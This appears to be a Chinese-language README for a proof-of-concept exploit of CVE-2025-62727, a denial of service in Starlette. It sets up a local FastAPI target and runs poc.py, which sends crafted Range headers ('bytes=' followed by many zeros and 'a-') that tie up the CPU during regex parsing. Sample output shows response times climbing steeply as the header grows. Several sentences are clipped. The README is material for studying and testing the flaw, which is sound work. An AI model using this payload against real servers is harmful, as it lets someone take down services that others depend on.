
CVE-2025-62727 的目标受害者是一个简单的 FastAPI 应用,它:
/ 提供 Hello World 服务。StaticFiles 在 /static 下提供静态文件服务。A 的文本文件,其中 N 为 1024, 2048, 50176。(可选)创建并激活虚拟环境。
安装依赖:
pip install -r requirements.txt
启动服务器:
uvicorn main:app --reload
打开:
http://127.0.0.1:8000/ 查看索引页面。http://127.0.0.1:8000/static/1024.txt 等查看静态文件。static/ 目录下。已有文件不会被覆盖。StaticFiles。附带的 poc.py 通过 /static 路由,使用 bytes=000...000a- 形式的构造头,触发 Starlette FileResponse 中 CPU 密集型的 Range 解析。
先运行服务器,然后在另一个终端中执行:
python3 poc.py --sizes 1000,2000,4000,7000
覆盖目标 URL(可选):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
备注:
http://127.0.0.1:8000/static/50176.txt 为目标(应用生成的文件)。使用 --url 可更改。--sizes;如果请求成功且希望效果更强,可调高。结果示例:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms